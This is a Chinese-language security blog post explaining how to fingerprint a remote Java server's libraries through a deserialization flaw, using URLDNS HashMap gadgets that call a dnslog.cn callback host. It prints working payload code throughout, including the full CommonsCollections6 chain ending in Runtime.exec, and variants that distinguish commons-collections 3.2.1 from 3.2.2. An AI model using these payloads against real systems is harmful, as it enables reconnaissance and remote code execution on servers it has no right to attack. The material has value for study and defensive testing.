azraelxuemo's Studio.

dnslog检测远程依赖

2023/12/23

有时候我们发现远程有一个反序列化的漏洞,但是我们不知道有什么依赖,如果单纯的盲打反序列化链就要一个个试,如果知道依赖了以后我们也方便本地构造payload

原理

普通的dnslog请求payload

1
2
3
4
5
6
URL url = new URL("http://aaaa.fnht9d.dnslog.cn");
HashMap hashMap = new HashMap();
Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap,new Object[]{0,url,"a",false,false});
serialize(hashMap);

HashMap是个key value得键值对,然后会调用hash(key)来触发dnslog,之前value我们都是随便传的,但是实际上我们可以利用这个value来探测依赖
我们这里随便传入一个本地才有的class,demo

1
2
3
4
5
6
7
8
9
10
11
 public static HashMap getURLDNSGadget(String urls, Class clazz) throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL(urls);
Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap,new Object[]{0,url,clazz,false,false});
return hashMap;
}

HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",demo.class);
serialize(test);

我们可以看到HashMap的readobejct里面,他是先把对应的key value反序列化出来再调用hash这个函数触发dnslog,如果value反序列化失败了,那么就不会有log了
截屏2023-12-23 12.04.27.png
所以这里可以看到远程报错,然后就没有dnslog请求
截屏2023-12-23 12.05.32.png
 如果传入一个存在的类,比如说jdk里面自带的Map,就可以发现成功获取到dnslog

1
2
HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",Map.class);
serialize(test);

截屏2023-12-23 12.06.46.png

cc链依赖

以cc6为例

1
2
3
4
5
6
7
8
9
10
11
12
13
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});
InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"b");
HashMap hashMap = new HashMap();
Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap,new Object[]{0,tiedMapEntry,"a",false,false});
serialize(hashMap);
deserialize();

这里面可以看到有ConstantTransformer InvokerTransformer ChainedTransformer LazyMap TiedMapEntry commons-collection3.2.1里面的依赖
HashMap jdk的依赖
一般我们探测的原则就是非jdk自带的依赖,在这里我们只需要探测是否有commons-collection3.2.1即可

1
2
HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",InvokerTransformer.class);
serialize(test);

但是我们这样写有一个问题,如果我们本地生成序列化payload的时候有3.2.1 4版本的,很容易分不清到底是哪个版本
所以我们调整一下,下面这种写法就可以比较清晰的看到具体的版本依赖了

1
2
3
4
5
6
7
8
9
10
11
public static HashMap getURLDNSGadget(String urls, String clazzName) throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL(urls);
Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap,new Object[]{0,url,Class.forName(clazzName),false,false});
return hashMap;
}

HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn","org.apache.commons.collections.functors.ChainedTransformer");
serialize(test);

当然细心的朋友可能会问,如果只是类,就无法探测是commons-collection 3.2.1还是commons-collection 3.2.2,那么再调整一下

1
2
3
4
5
6
7
8
9
10
public static HashMap getURLDNSGadget(String urls, Object object) throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL(urls);
Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap,new Object[]{0,url,object,false,false});
return hashMap;
}
HashMap test=getURLDNSGadget("http://testaaaaaa.fnht9d.dnslog.cn",new InvokerTransformer("a",null,null));
serialize(test);

如果远程是commons-collection.3.2.2以上,就会报错,收不到dnslog请求
截屏2023-12-23 12.19.26.png

CATALOG
  1. 1. 原理
  2. 2. cc链依赖